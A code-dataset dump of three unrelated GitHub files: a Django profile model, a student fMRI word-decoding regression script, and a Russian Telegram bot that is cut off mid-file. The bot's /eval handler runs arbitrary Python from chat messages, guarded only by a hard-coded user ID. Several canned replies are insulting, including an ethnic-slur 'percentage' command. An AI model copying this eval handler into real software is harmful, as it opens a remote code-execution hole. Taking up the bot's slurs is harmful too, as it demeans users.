dappx/models.py\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\n\nimport datetime\n# Create your models here.\n\nclass UserProfileInfo(models.Model):\n gender_choices = (\n ('Male', 'Male'),\n ('Female', 'Female'),\n ('Other', 'Other'),\n )\n\n user = models.OneToOneField(User,on_delete=models.CASCADE)\n\n # portfolio_site = models.URLField(blank=True)\n\n # profile_pic = models.ImageField(upload_to='profile_pics',blank=True)\n\n gender = models.CharField(max_length=20, choices=gender_choices,null=True,blank=True)\n registration_number = models.CharField(max_length=70, default='2016-814-413')\n hall_name = models.CharField(max_length=100, default='Dr. muhammad sahidullah hall',null=True,blank=True)\n department_name = models.CharField(max_length=100,null=True,blank=True)\n admission_year = models.PositiveIntegerField(default=1980,null=True,blank=True)\n phone_number = models.CharField(max_length=20,null=True,blank=True)\n blood_group = models.CharField(max_length=10,null=True,blank=True)\n date_of_birth = models.DateField(default=datetime.date.today,null=True,blank=True)\n\ndef __str__(self):\n return self.user.username","repo_name":"MustafizSaadi/Learning","sub_path":"dappx/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4922779101","text":"# Siddhartha Gorti & Shilpa Kumar\n# Final Project\n# CSE 446 Machine Learning\n# WINTER 2017\n\n#\n# USAGE INSTRUCTIONS:\n# fmri_solver.py \n#\n# FUNCTION LIST:\n# test_algs: Use this to plot model fit data (squared test & train error and num nonzero\n# coefficients) about different lambda values for chosen semantic features for both\n# SCD and PGD.\n#\n# build_model: Use this to build the 218 x 21764 matrix where each row i is a linear model\n# to generate semantic feature i from the 21764 voxel features given from a brain scan. The models\n# are saved in the local directory as an mtx file \"model_weights.mtx\"\n# NOTE: build_model requires \n# kfold: To use kfold cross validation to choose the best tuning parameter\n# WARNING: ENABLING KFOLD CROSS VALIDATION SIGNIFICANTLY INCREASES THE RUN TIME OF THIS PROGRAM\n#\n# test: To use test set validation to choose the best tuning parameter\n#\n# test_model: Use this to test the model against our test data. For a given brain scan input we use\n# the model weights to generate 218 x 1 vector and use 1-NN classification to determine between two words\n# which word was most likely read. Plot information about the model's mistake rate when given a set of known\n# test words and associated brain scan will be generated.\n# NOTE: REQUIRES model_weights.mtx file to be present. Use build_model if lacking or download from\n# https://github.com/siddthesciencekid/fMRI-Mind-Reading/blob/master/model_weights.zip.\n#\n# Example usage: 'fmri_solver.py build_model kfold' 'fmri_solver.py test_model'\n\nimport scipy.io\nimport numpy as np\nimport sys\nimport timeit\nimport math\nimport random\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib import pyplot as plt2\nfrom sklearn.model_selection import KFold\nfrom multiprocessing import Pool, Lock\nfrom lasso import lasso\nfrom scd import scd\nfrom pgd import pgd\n\n\ndef main():\n # Exit if the usage instructions are not satisfied\n if len(sys.argv) < 2:\n sys.exit(\"Please check usage instructions before using the program\")\n\n # READ IN DATA FROM DATA FILES INTO MATRICES\n signals_test = scipy.io.mmread(\"data/subject1_fmri_std.test.mtx\")\n signals_train = scipy.io.mmread(\"data/subject1_fmri_std.train.mtx\")\n words_test = scipy.io.mmread(\"data/subject1_wordid.test.mtx\")\n\n # Training wordid only has 1 column, and using mmread doesn't work\n words_train = [0 for x in range(300)]\n words_train = import_words_train(\"data/subject1_wordid.train.mtx\", words_train)\n words_train = np.asarray(words_train)\n \n semantic_features = scipy.io.mmread(\"data/word_feature_centered.mtx\")\n\n lambda_values_pgd = [.1, .5, 1, 5, 10, 20, 40, 100, 200]\n lambda_values_scd = [0.05, 0.1, 0.15, 0.2, 0.25, 0.3]\n\n if sys.argv[1] == \"test_algs\":\n\n # Use these functions to plot model fit data (squared test & train error and num nonzero\n # coefficients) about different lambda values for chosen semantic features for both\n # SCD and PGD.\n\n # NOTE: LAMBDA values are different across the two\n # SET THE LAST PARAMETER TO FALSE TO PLOT MODEL FIT DATA USING SCD AND TRUE FOR PGD\n plot_semantic_feature_squared_error(signals_test, signals_train,\n words_test, words_train, semantic_features,\n lambda_values_scd, False)\n\n plot_semantic_feature_squared_error(signals_test, signals_train,\n words_test, words_train, semantic_features,\n lambda_values_pgd, True)\n elif sys.argv[1] == \"build_model\":\n if len(sys.argv) < 3 or sys.argv[2] == \"test\":\n build_model(signals_test, signals_train, words_test, words_train,\n semantic_features, lambda_values_scd, False)\n elif sys.argv[2] == \"kfold\":\n build_model(signals_test, signals_train, words_test, words_train,\n semantic_features, lambda_values_scd, True)\n elif sys.argv[1] == \"test_model\":\n try:\n model_weights = scipy.io.mmread(\"model_weights.mtx\")\n except IOError:\n print(\"Please ensure that model_weights.mtx is in the current directory.\")\n print(\"Otherwise use build_model to generate the weights or download it from the repository\")\n sys.exit(\"Could not find or read the model weights file.\")\n\n # Testing predictions with correct word and a random word\n num_correct = 0\n for i in range(len(signals_test)): # Test each of the 60 words\n brain_scan_i = signals_test[i]\n test_semantic_feature_vec = generate_semantic_feature_vector(model_weights, brain_scan_i)\n word_actual = get_word(int(words_test[i][0]))\n random_index = random.randint(1, len(signals_test))\n word_random = get_word(random_index)\n word_predicted = one_nn_classification(test_semantic_feature_vec, word_actual,\n word_random, semantic_features)\n if word_actual == word_predicted:\n num_correct += 1\n\n values = [num_correct, 60 - num_correct]\n ind = [0.1, 1]\n fig, ax = plt2.subplots()\n rects1 = ax.bar(ind, values, .5, color='r')\n ax.set_title(\"Choosing between actual word and random word\")\n ax.set_xticks([.35, 1.25])\n ax.set_xlabel(\"Num Correct vs Incorrect Classifications\")\n ax.set_xticklabels(('Correct', 'Incorrect'))\n plt2.savefig(\"correct_vs_random_classification.png\")\n plt2.close()\n\n\n else:\n sys.exit(\"Please check usage instructions before using the program. Invalid function specified\")\n\n\n# Returns one 218 x 1 vector, the generated values for each semantic features\n# from one given fmri brain scan. The fmri_brain scan is in the form of 21764 x 1 vector\n# representing the voxel values for a given signal\ndef generate_semantic_feature_vector(model_weights, signals):\n model_semantic_features = np.zeros(len(model_weights))\n for i in range(len(model_semantic_features)):\n cur_model = model_weights[i]\n cur_semantic_feature_value = np.dot(signals, cur_model)\n model_semantic_features[i] = cur_semantic_feature_value\n return model_semantic_features\n\n\n# Returns the word associated with a particular line index\n# from dictionary.txt\ndef get_word(index):\n with open(\"data/meta/dictionary.txt\") as f:\n for i, line in enumerate(f, 1):\n line = line.strip()\n if i == index:\n return line\n return \"\"\n\n\n# Performs a 1-NN classification (which is simply nearest neighbor) on a generated\n# semantic features vector and the semantic feature vectors for two passed in words\n# Returns the word that the generated vector is closer to\ndef one_nn_classification(semantic_features_vec, word1, word2, semantic_features):\n word1_index = get_line_number(word1)\n word2_index = get_line_number(word2)\n if word1_index == -1 or word2_index == -1:\n sys.exit(\"Word not found in dictionary.txt\")\n word1_sem_vec = semantic_features[word1_index]\n word2_sem_vec = semantic_features[word2_index]\n\n distance1 = np.linalg.norm(semantic_features_vec - word1_sem_vec)\n distance2 = np.linalg.norm(semantic_features_vec - word2_sem_vec)\n if distance1 <= distance2:\n return word1\n else:\n return word2\n\n\n# Find the line index of the word which will later be used when\n# looking up its associated semantic feature vector\n# Returns -1 if not found in dictionary.txt\ndef get_line_number(word):\n with open(\"data/meta/dictionary.txt\") as f:\n for i, line in enumerate(f, 1):\n line = line.strip()\n if word in line:\n return i - 1\n return -1\n\n\n# Builds the 218 x 21764 matrix in parallel representing the linear models for each semantic feature\n# and writes it to a local data file \"model_weights.mtx\"\n# The runtime is improved on computers with at least a dual core processor\n# When running on a single core processor, runtime might increase due to overhead provided by\n# multiprocessing\ndef build_model(signals_test, signals_train, words_test,\n words_train, semantic_features, lambda_values_scd, use_k_fold):\n # Used for concurrent computation of the models\n pool = Pool()\n y = np.zeros((len(semantic_features[0]), len(words_train)))\n y_test = np.zeros((len(semantic_features[0]), len(words_test)))\n model_weights = np.zeros((len(semantic_features[0]), len(signals_train[0])))\n # Build a linear model using multiprocessing for every semantic feature\n # Linear models are built two at a time\n for i in range(0, len(semantic_features[0]), 2):\n res1 = pool.apply_async(build_one_model, [signals_test, signals_train,\n words_test, words_train, semantic_features,\n lambda_values_scd, use_k_fold, i, y, y_test, model_weights])\n res2 = pool.apply_async(build_one_model, [signals_test, signals_train,\n words_test, words_train, semantic_features,\n lambda_values_scd, use_k_fold, i + 1, y, y_test, model_weights])\n model_weights[i] = res1.get(timeout=90)\n model_weights[i + 1] = res2.get(timeout=90)\n\n # All linear models have been built and\n # model_weights should now contain 218 linear models for\n # each of the semantic features\n print(\"All linear models built\")\n scipy.io.mmwrite(\"model_weights.mtx\", model_weights)\n\n\ndef build_one_model(signals_test, signals_train, words_test,\n words_train, semantic_features,\n lambda_values_scd, use_k_fold, i, y, y_test, model_weights):\n l = Lock()\n l.acquire()\n print(\"Building linear model for semantic feature \" + str(i + 1) + \" :\")\n # build the y-train vector for the current semantic feature\n for j in range(len(words_train)):\n word_index = words_train[j]\n y[i][j] = semantic_features[word_index - 1][i]\n\n # build the y-test vector for the current semantic feature\n for j in range(len(words_test)):\n word_index = words_test[j][0]\n # Word test stores things as floats, and the lookup in semantic features doesn't work\n # unless it is converted to int\n word_index = int(word_index)\n y_test[i][j] = semantic_features[word_index - 1][i]\n l.release()\n # Pull out the current y and y_test vectors\n cur_y = y[i]\n cur_y_test = y_test[i]\n\n # Initialize the KFold split generator\n # Performing 10 fold cross validation on training set\n num_folds = 10\n kf = KFold(n_splits=num_folds)\n min_lambda = lambda_values_scd[0]\n min_error = 0\n best_weights = np.zeros(len(signals_train[0]))\n\n # If using kfold check a range of lambda values and determine CV error on each one\n # to find min error and best lambda for this particular model\n # Otherwise use test set to determine best lambda choice\n if use_k_fold:\n for k in range(len(lambda_values_scd)):\n cross_validation_error = 0.0\n cur_lambda = lambda_values_scd[k]\n for index_train, index_valid in kf.split(signals_train):\n weights = np.zeros(len(signals_train[0]))\n l.acquire()\n X_train, X_valid = signals_train[index_train], signals_train[index_valid]\n y_train, y_valid = cur_y[index_train], cur_y[index_valid]\n l.release()\n weights = scd(cur_lambda, y_train, X_train, weights, 20)\n\n cross_validation_error += squared_error(y_valid, X_valid, weights)\n avg_cv_error = cross_validation_error / float(num_folds)\n if k == 0 or avg_cv_error < min_error:\n min_error = avg_cv_error\n min_lambda = lambda_values_scd[k]\n best_weights = weights\n l.acquire()\n model_weights[i] = best_weights\n l.release()\n else:\n for k in range(len(lambda_values_scd)):\n weights = np.zeros(len(signals_train[0]))\n cur_lambda = lambda_values_scd[k]\n l.acquire()\n weights = scd(cur_lambda, cur_y, signals_train, weights, 20)\n l.release()\n squared_error_test = squared_error(cur_y_test, signals_test, weights)\n if k == 0 or squared_error_test < min_error:\n min_error = squared_error_test\n min_lambda = lambda_values_scd[k]\n best_weights = weights\n l.acquire()\n model_weights[i] = best_weights\n l.release()\n\n # Print end results for the current model\n l.acquire()\n print(\"Results for semantic feature \" + str(i + 1))\n print(\"Best lambda: \" + str(min_lambda))\n print(\"Error on this model: \" + str(min_error))\n print(\"Number of nonzero coefficients \" + str(np.count_nonzero(model_weights[i])))\n print(\"\\n\")\n l.release()\n return model_weights[i]\n\n\n# Plots model fit data (squared test & train error and num nonzero\n# coefficients) about different lambda values for chosen semantic features\ndef plot_semantic_feature_squared_error(signals_test, signals_train,\n words_test, words_train, semantic_features,\n lambda_values, is_pgd):\n\n # Initialize data maps and the semantic features that we will test\n semantic_features_to_test = [0, 99, 199]\n semantic_features_map_train = {0: [], 99: [], 199: []}\n semantic_features_map_test = {0: [], 99: [], 199: []}\n semantic_features_map_non_zero = {0: [], 99: [], 199: []}\n\n # Build the y component of the lasso algorithm for the test semantic features\n y = np.zeros((3, len(words_train)))\n for i in range(len(y)):\n for j in range(len(words_train)):\n cur_feature = semantic_features_to_test[i]\n word_index = words_train[j]\n y[i][j] = semantic_features[word_index - 1][cur_feature]\n\n # Build the y vector for test data\n y_test = np.zeros((3, len(words_test)))\n for i in range(len(y_test)):\n for j in range(len(words_test)):\n cur_feature = semantic_features_to_test[i]\n word_index = words_test[j][0]\n # Word test stores things as floats, and the lookup in semantic features doesn't work\n # unless it is converted to int\n word_index = int(word_index)\n y_test[i][j] = semantic_features[word_index - 1][cur_feature]\n\n # For each semantic feature we want to test we will either use\n # SCD (Stochastic Coordinate Descent) or PGD (Proximal Gradient Descent) to\n # generate models for different tuning parameters and collect data that we\n # will ultimately use to plot graphs\n for i in range(len(semantic_features_to_test)):\n for j in range(len(lambda_values)):\n weights = np.zeros(len(signals_train[0]))\n cur_lambda = lambda_values[j]\n cur_semantic_feature = semantic_features_to_test[i]\n cur_y = y[i]\n cur_y_test = y_test[i]\n # Based on the flag, we choose the appropriate method\n if is_pgd:\n weights = pgd(cur_lambda, cur_y, signals_train, weights, 20, 20)\n else:\n weights = scd(cur_lambda, cur_y, signals_train, weights, 30)\n\n # Collect performance metrics on the current model\n squared_error_train = squared_error(cur_y, signals_train, weights)\n squared_error_test = squared_error(cur_y_test, signals_test, weights)\n nonzero = np.count_nonzero(weights)\n\n # Add it to the data maps\n semantic_features_map_train[cur_semantic_feature].append((math.log(cur_lambda), squared_error_train))\n semantic_features_map_test[cur_semantic_feature].append((math.log(cur_lambda), squared_error_test))\n semantic_features_map_non_zero[cur_semantic_feature].append((math.log(cur_lambda), nonzero))\n\n # Define method and generate plot showing error and num nonzero coef\n method = \"PGD\" if is_pgd else \"SCD\"\n plot_squared_error(semantic_features_map_train, True, method)\n plot_squared_error(semantic_features_map_test, False, method)\n plot_num_zero(semantic_features_map_non_zero, method)\n\n\n# Generates a plot that shows how changes\n# in lambda affect the squared error of test and train\n# data_map - map of semantic feature to map of lambda to squared error\n# train_flag - True if plotting the training error, false if plotting test error\n# method - The method used (PGD or SCD)\ndef plot_squared_error(data_map, train_flag, method):\n for key in data_map:\n li = data_map[key]\n log_lambda, data = zip(*li)\n plt.plot(log_lambda, data, label=\"Semantic Feature \" + str(key + 1))\n plt.xlabel(\"ln(lambda)\")\n plt.ylabel(\"Squared Error\")\n plt.legend()\n if train_flag:\n plt.title(\"Log Lambda vs. Squared Error in Training Data (For \" + method + \")\")\n plt.savefig(\"squaredErrorTrain_\" + method + \".png\")\n plt.close()\n else:\n plt.title(\"Log Lambda vs. Squared Error in Test Data (For \" + method + \")\")\n plt.savefig(\"squaredErrorTest_\" + method + \".png\")\n plt.close()\n\n\n# Generates a plot that shows how changes\n# in tuning parameter lambda affect the number of\n# nonzero coefficients in the weights vector\n# data_map - map of semantic feature to map of lambda to num nonzero coef\n# method - The method used (PGD or SCD)\ndef plot_num_zero(data_map, method):\n for key in data_map:\n li = data_map[key]\n log_lambda, data = zip(*li)\n plt.plot(log_lambda, data, label=\"Semantic Feature \" + str(key + 1))\n plt.xlabel(\"ln(lambda)\")\n plt.ylabel(\"Num of Non-Zero Coefficients\")\n plt.legend()\n plt.title(\"Log of Lambda vs. Number of Non-Zero Coefficients (For \" + method + \")\")\n plt.savefig(\"numNonZero_\" + method + \".png\")\n plt.close()\n\n\n# Reads in the words train file into a vector\ndef import_words_train(file_name, array):\n f = open(file_name)\n index = 0\n for line in f:\n temp = line\n array[index] = int((temp.split())[0])\n index += 1\n return array\n\n\n# Returns the squared error value for\n# a given model\ndef squared_error(y, X, weights):\n y2 = np.copy(y)\n for i in range(X.shape[0]):\n y2[i] = np.dot(X[i], weights)\n\n diff = y-y2\n sum_error = np.sum(np.square(diff))\n return sum_error / X.shape[0]\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"siddthesciencekid/fMRI-Mind-Reading","sub_path":"fmri_solver.py","file_name":"fmri_solver.py","file_ext":"py","file_size_in_byte":18660,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"2647480263","text":"import asyncio\nimport datetime\nimport os\nimport random\nimport re\nimport sqlite3\nfrom datetime import timedelta\nfrom random import randint\n\nfrom LiteSQL import lsql\nfrom aiogram import executor\nfrom aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters import Command\nfrom aiogram.dispatcher.filters import Text\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\nfrom aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton\nfrom aiogram.utils.markdown import hlink\nfrom langdetect import detect\nfrom meval import meval\n\nimport data\nfrom configurator import config\nfrom dispatcher import dp, bot\n\ntry:\n pathasdsadasdasd = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'slovadb.db')\n os.remove(pathasdsadasdasd)\nexcept FileNotFoundError:\n print('ladno')\n\n\n\nADMINS = [1916288033]\naf = {}\n\nchatsql = lsql(\"chats\")\n\ntry:\n a = chatsql.select_data(\"1\", \"id\")\nexcept:\n chatsql.create(\n \"id, link, text, welcomes, randomais, mats, sms, rules, on_off, re_on, tixiy, arabs, repa, reports, links\")\n chatsql.insert_data([(0, 'link', '0', 1, 0, 0, 0, ' ', 1, 0, 4, 1, 1, 1, 1)], 15)\nchatsqlall = chatsql.get_all_data()\n\nsql = lsql(\"test\")\ntry:\n a = sql.select_data(\"1\", \"id\")\nexcept:\n sql.create(\"id, balance, username, btc, repa\")\n sql.insert_data([(0, 100, '0', 0.0, 0)], 5)\n\nconn = sqlite3.connect(\"db.db\")\ncursor = conn.cursor()\nsql = lsql(\"users\")\n\ntry:\n a = sql.select_data(\"1\", \"id\")\nexcept:\n sql.create(\"id, username, repa, warn, admchat, brak, regDate\")\n sql.insert_data([(0, '0', 0, 0, 0, 0, '2021')], 7)\n\nslovql = lsql(\"slovadb\")\n\ntry:\n a = slovql.select_data(\"slova\", \"1\")\nexcept:\n slovql.create(\"slova\")\n slovql.insert_data('1', 1)\nslovall = slovql.get_all_data()\n\nlist_of_user = sql.get_all_data()\n\nstickql = lsql('stickers')\ntry:\n stickql.select_data(\"1\", 'id')\nexcept:\n stickql.create('id, gey')\n\nstickall = stickql.get_all_data()\n\nfor i in range(len(list_of_user)):\n list_of_user[i] = list_of_user[i][0]\n\n\nasync def new_sticker(id, gey):\n stickql.insert_data([(f\"{id}\", gey)], 2)\n\n\nasync def new_user(user, username):\n if user not in list_of_user:\n sql.insert_data([(int(user), f'{username}', 0, 0, 0, 0, f'{datetime.datetime.now()}')], 7)\n list_of_user.append(user)\n\n\nasync def new_chat(chat, link):\n if chat not in chatsqlall:\n chatsql.insert_data([(int(chat), f'{link}', 'text', 1, 0, 0, 0, ' ', 1, 0, 4, 1, 1, 1, 1)], 15)\n chatsqlall.append(chat)\n\n\nasync def new_slovo(text):\n if text not in slovall:\n slovql.insert_data((str(text)), 1)\n slovall.append(str(text))\n\n\nasync def repafun(user):\n us = sql.select_data(user, 'id')[0]\n sql.edit_data('id', user, 'repa', int(us[2]) + 1)\n\n\nasync def unrepafun(user):\n us = sql.select_data(user, 'id')[0]\n if int(us[2]) <= 0:\n sql.edit_data('id', user, 'repa', 0)\n else:\n sql.edit_data('id', user, 'repa', int(us[2]) - 1)\n\n\n\n\nasync def getattrs(message):\n return {\"reply\": message.reply_to_message,\n \"message\": message,\n \"bot\": bot,\n \"dp\": dp,\n \"chat\": message.chat}\n\n\n@dp.message_handler(commands=['eval'], commands_prefix=['/', '!'])\nasync def eval(message: types.Message):\n if message.from_user.id == 1916288033:\n try:\n args = message.get_args()\n cmd_eval = await meval(args, globals(), **await getattrs(message))\n await message.reply(\n f\"Выполненное выражение:\\n{args}\\n\\nВозвращено:\\n{cmd_eval}\")\n except Exception as e:\n return await message.reply(\n f\"Не удалось выполнить выражение:\\n{args}\\n\\nВозвращено:\\n{e}\")\n else:\n await message.reply(\"Вам не доступна эта функция!\")\n\n\n@dp.message_handler(Text(\"Сколько у меня iq?\", ignore_case=True))\nasync def iq(message: types.Message):\n await message.reply('🧠 Похоже, что у тебя ' + str(randint(0, 100)) + 'iq')\n\n@dp.message_handler(Text(\"сколько у меня iq?\", ignore_case=True))\nasync def iq(message: types.Message):\n await message.reply('🧠 Похоже, что у тебя ' + str(randint(0, 100)) + 'iq')\n\n@dp.message_handler(Text(\"когда я умру?\", ignore_case=True))\nasync def fff(message: types.Message):\n h = [\"Января\", \"Февраля\", \"Марта\", \"Апреля\", \"Мая\", \"Июня\", \"Июля\", \"Августа\", \"Сентября\", \"Октября\", \"Ноября\",\n \"Декабря\"]\n j = [\"😱\", \"⚰\", \"☠\"]\n u = random.choice(j)\n g = random.choice(h)\n await message.answer(\n f\"\"\"{message.from_user.first_name} ты умрешь {u} {random.randint(1, 30)} {g} {random.randint(2021, 2091)} года.\"\"\")\n\n@dp.message_handler(Text(\"Когда я умру?\", ignore_case=True))\nasync def fff(message: types.Message):\n h = [\"Января\", \"Февраля\", \"Марта\", \"Апреля\", \"Мая\", \"Июня\", \"Июля\", \"Августа\", \"Сентября\", \"Октября\", \"Ноября\",\n \"Декабря\"]\n j = [\"😱\", \"⚰\", \"☠\"]\n u = random.choice(j)\n g = random.choice(h)\n await message.answer(\n f\"\"\"{message.from_user.first_name} ты умрешь {u} {random.randint(1, 30)} {g} {random.randint(2021, 2091)} года.\"\"\")\n\n\n@dp.message_handler(Text(\"Бот\", ignore_case=True))\nasync def fff(message: types.Message):\n h = [\"Чаво тебе?\", \"бля, да что?\", \"Я тут, хули надо?\", \"Та блять дай поспать\", \"Ушёл в запой\",\n \"Гнида, не беспокой пожалуйста:),\", \"М?\", \"Што?\", \"Я тут, как дела?\", \"Я занят, иди гуляй\",\n \"Я тут, что прикажите?\", \"Дя\"]\n g = random.choice(h)\n await message.answer(f\"\"\"{g} 🤡\"\"\")\n\n@dp.message_handler(Text(\"бот\", ignore_case=True))\nasync def fff(message: types.Message):\n h = [\"Чаво тебе?\", \"бля, да что?\", \"Я тут, хули надо?\", \"Та блять дай поспать\", \"Ушёл в запой\",\n \"Гнида, не беспокой пожалуйста:),\", \"М?\", \"Што?\", \"Я тут, как дела?\", \"Я занят, иди гуляй\",\n \"Я тут, что прикажите?\", \"Дя\"]\n g = random.choice(h)\n await message.answer(f\"\"\"{g} 🤡\"\"\")\n\n'''@dp.message_handler(lambda message: message.text.lower() == 'игра')\nasync def process_command_1(message: types.Message):\n button1 = InlineKeyboardButton('🗿Камень🖤', callback_data='1')\n button2 = InlineKeyboardButton('✂️Ножницы💔', callback_data='2')\n button3 = InlineKeyboardButton('📄Бумага🤍', callback_data='3')\n buttons = InlineKeyboardMarkup().add(button1, button2, button3)\n await bot.send_message(message.chat.id, \"Я готов!\\nВыбери предмет, чтобы победить меня УАХАХА\\n*зловещий смех*\",\n reply_markup=buttons)\n\n\n@dp.callback_query_handler(lambda c: c.data == '1')\nasync def process_callback_yes(callback: types.CallbackQuery):\n rand = random.choice([\"🗿Камень🖤\", \"✂️Ножницы💔\", \"📄Бумага🤍\"])\n\n await bot.delete_message(callback.message.chat.id, callback.message.message_id)\n await callback.message.answer(\"Я выбрал \" + rand + \"\\nА ты выбрал 🗿Камень🖤\")\n if rand == '🗿Камень🖤':\n await callback.message.answer(\"⚔️НИЧЬЯ⚔️\")\n elif rand == '✂️Ножницы💔':\n await callback.message.answer(\"😵🔫ПОБЕДА ЗА ТОБОЙ👻✅\")\n else:\n await callback.message.answer(\"😈☠️Я ПОБЕДИЛ😈☠️\")\n\n\n@dp.callback_query_handler(lambda c: c.data == '2')\nasync def process_callback_yes(callback: types.CallbackQuery):\n rand = random.choice([\"🗿Камень🖤\", \"✂️Ножницы💔\", \"📄Бумага🤍\"])\n\n await bot.delete_message(callback.message.chat.id, callback.message.message_id)\n await callback.message.answer(\"Я выбрал \" + rand + \"\\nА ты выбрал ✂️Ножницы💔\")\n if rand == '🗿Камень🖤':\n await callback.message.answer(\"😈☠️Я ПОБЕДИЛ😈☠️\")\n elif rand == '✂️Ножницы💔':\n await callback.message.answer(\"⚔️НИЧЬЯ⚔️\")\n else:\n await callback.message.answer(\"😵🔫ПОБЕДА ЗА ТОБОЙ👻✅\")\n\n\n@dp.callback_query_handler(lambda c: c.data == '2')\nasync def process_callback_yes(callback: types.CallbackQuery):\n rand = random.choice([\"🗿Камень🖤\", \"✂️Ножницы💔\", \"📄Бумага🤍\"])\n\n await bot.delete_message(callback.message.chat.id, callback.message.message_id)\n await callback.message.answer(\"Я выбрал \" + rand + \"\\nА ты выбрал ✂️Ножницы💔\")\n if rand == '🗿Камень🖤':\n await callback.message.answer(\"😈☠️Я ПОБЕДИЛ😈☠️\")\n elif rand == '✂️Ножницы💔':\n await callback.message.answer(\"⚔️НИЧЬЯ⚔️\")\n else:\n await callback.message.answer(\"😵🔫ПОБЕДА ЗА ТОБОЙ👻✅\")\n\n\n@dp.callback_query_handler(lambda c: c.data == '2')\nasync def process_callback_yes(callback: types.CallbackQuery):\n rand = random.choice([\"🗿Камень🖤\", \"✂️Ножницы💔\", \"📄Бумага🤍\"])\n\n await bot.delete_message(callback.message.chat.id, callback.message.message_id)\n await callback.message.answer(\"Я выбрал \" + rand + \"\\nА ты выбрал ✂️Ножницы💔\")\n if rand == '🗿Камень🖤':\n await callback.message.answer(\"😈☠️Я ПОБЕДИЛ😈☠️\")\n elif rand == '✂️Ножницы💔':\n await callback.message.answer(\"⚔️НИЧЬЯ⚔️\")\n else:\n await callback.message.answer(\"😵🔫ПОБЕДА ЗА ТОБОЙ👻✅\")\n\n\n@dp.callback_query_handler(lambda c: c.data == '3')\nasync def process_callback_yes(callback: types.CallbackQuery):\n rand = random.choice([\"🗿Камень🖤\", \"✂️Ножницы💔\", \"📄Бумага🤍\"])\n\n await bot.delete_message(callback.message.chat.id, callback.message.message_id)\n await callback.message.answer(\"Я выбрал \" + rand + \"\\nА ты выбрал 📄Бумага🤍\")\n if rand == '🗿Камень🖤':\n await callback.message.answer(\"😵🔫ПОБЕДА ЗА ТОБОЙ👻✅\")\n elif rand == '✂️Ножницы💔':\n await callback.message.answer(\"😈☠️Я ПОБЕДИЛ😈☠️\")\n else:\n await callback.message.answer(\"⚔️НИЧЬЯ⚔️\")'''\n\n\n'''@dp.message_handler(regexp=r\"(^Куб|куб) ?(\\d+)? ?(\\d+)?\")\nasync def process_start_command(message: types.Message):\n command_parse = re.compile(r\"(^Куб|куб) ?(\\d+)? ?(\\d+)?\")\n parsed = command_parse.match(message.text)\n dice_value = parsed.group(2)\n dice_value = int(dice_value)\n summ = parsed.group(3)\n summ = (summ)\n name1 = message.from_user.get_mention(as_html=True)\n if int(summ) >= int(275000000000):\n if dice_value > 6:\n await message.reply(f\"{name1} введите сообщение в формате: \\nКуб (число от 1 до 6) (ставка)\",\n parse_mode='html')\n else:\n if not summ:\n await message.reply(\n f\"{name1} введите сообщение в формате: \\nКуб (число от 1 до 6) (ставка)\",\n parse_mode='html')\n else:\n if not dice_value:\n await message.reply(\n f\"{name1} введите сообщение в формате: \\nКуб (число от 1 до 6) (ставка)\",\n parse_mode='html')\n else:\n balanc = cursor.execute(\"SELECT balance from users where user_id = ?\",\n (message.from_user.id,)).fetchone()\n balance = (balanc[0])\n summ = int(summ)\n if balance >= summ:\n dice_value = int(dice_value)\n bot_data = await bot.send_dice(message.chat.id)\n bot_data = bot_data['dice']['value']\n plus = bot_data + 1\n minus = bot_data - 1\n summ2 = summ * 10\n data = {}\n data[\"suma\"] = summ\n data['user_id'] = message.from_user.id\n data1 = {}\n data1[\"suma\"] = summ2\n data1['user_id'] = message.from_user.id\n await sleep(5)\n\n if bot_data > dice_value:\n await message.reply(f'{name1} ты проиграл(а) {summ}💰', parse_mode='html')\n cursor.execute(\"\"\"UPDATE users SET balance = balance - :suma WHERE user_id = :user_id;\"\"\",\n data)\n\n elif bot_data < dice_value:\n await message.reply(f'{name1} ты проиграл(а) {summ}💰', parse_mode='html')\n cursor.execute(\"\"\"UPDATE users SET balance = balance - :suma WHERE user_id = :user_id;\"\"\",\n data)\n\n else:\n await message.reply(f'{name1} ты выиграл(а) {summ2}💰', parse_mode='html')\n cursor.execute(\"\"\"UPDATE users SET balance = balance + :suma WHERE user_id = :user_id;\"\"\",\n data1)\n conn.commit()\n\n elif balance < summ:\n balanc = cursor.execute(\"SELECT balance from users where user_id = ?\",\n (message.from_user.id,)).fetchone()\n balance = (balanc[0])\n await message.reply(f'{name1} у тебя нет столько 💰\\nТвой баланс:{balance}💰 ',\n parse_mode='html')\n else:\n await message.reply(f'{name1} нельзя играть на сумы более 275000000000💰', parse_mode='html')'''\n\n\n'''@dp.message_handler(commands=['rp'])\nasync def help_message(msg: types.Message):\n await msg.reply(\"\"\"В разработке...\"\"\")'''\n\n@dp.message_handler(chat_id=config.groups.main, commands=['game'], commands_prefix=['/', '.', '!'])\nasync def help_message(msg: types.Message):\n await msg.reply(\"\"\"/bonus – выдам бонус в размере 5000 монет. (временно не работает)\n/balance – узнать сколько у тебя игровых монет. (временно не работает)\n/me – покажу статистику о тебе(онли в чате)\nКуб (число от 1 до 6) (ставка) – сыграть в кубик, при выигрыше x6 к ставке. (временно не работает)\n/gay – покажу на сколько процентов ты гей.\n/хохол – покажу на сколько процентов ты хохол.\n/dick – увеличить свой dick(временно не работает)\nИгра – игра в суефа с ботом(скоро сделаю с разными игроками) (временно не работает)\nКогда я умру? – покажу когда ты умрешь:)\nСколько у меня iq? – покажу сколько у тебя iq\"\"\")\n\n\n'''@dp.message_handler(commands=['admins'])\nasync def help_message(msg: types.Message):\n await msg.reply(\"\"\"В разработке....\"\"\")'''\n\n\n'''@dp.message_handler(commands=['help'])\nasync def help_message(msg: types.Message):\n await msg.reply(\"\"\"Полная документация по боту находится ниже:\n\n/admins – список команд для админов чата.\n➖➖➖➖➖➖➖\n/game – список игровых команд.\n➖➖➖➖➖➖➖\n/rp – список рп команды бота.\n➖➖➖➖➖➖➖\nДанный бот находится в разработке, если найдете какой либо баг или неработоспособность бота обратитесь к создателю – 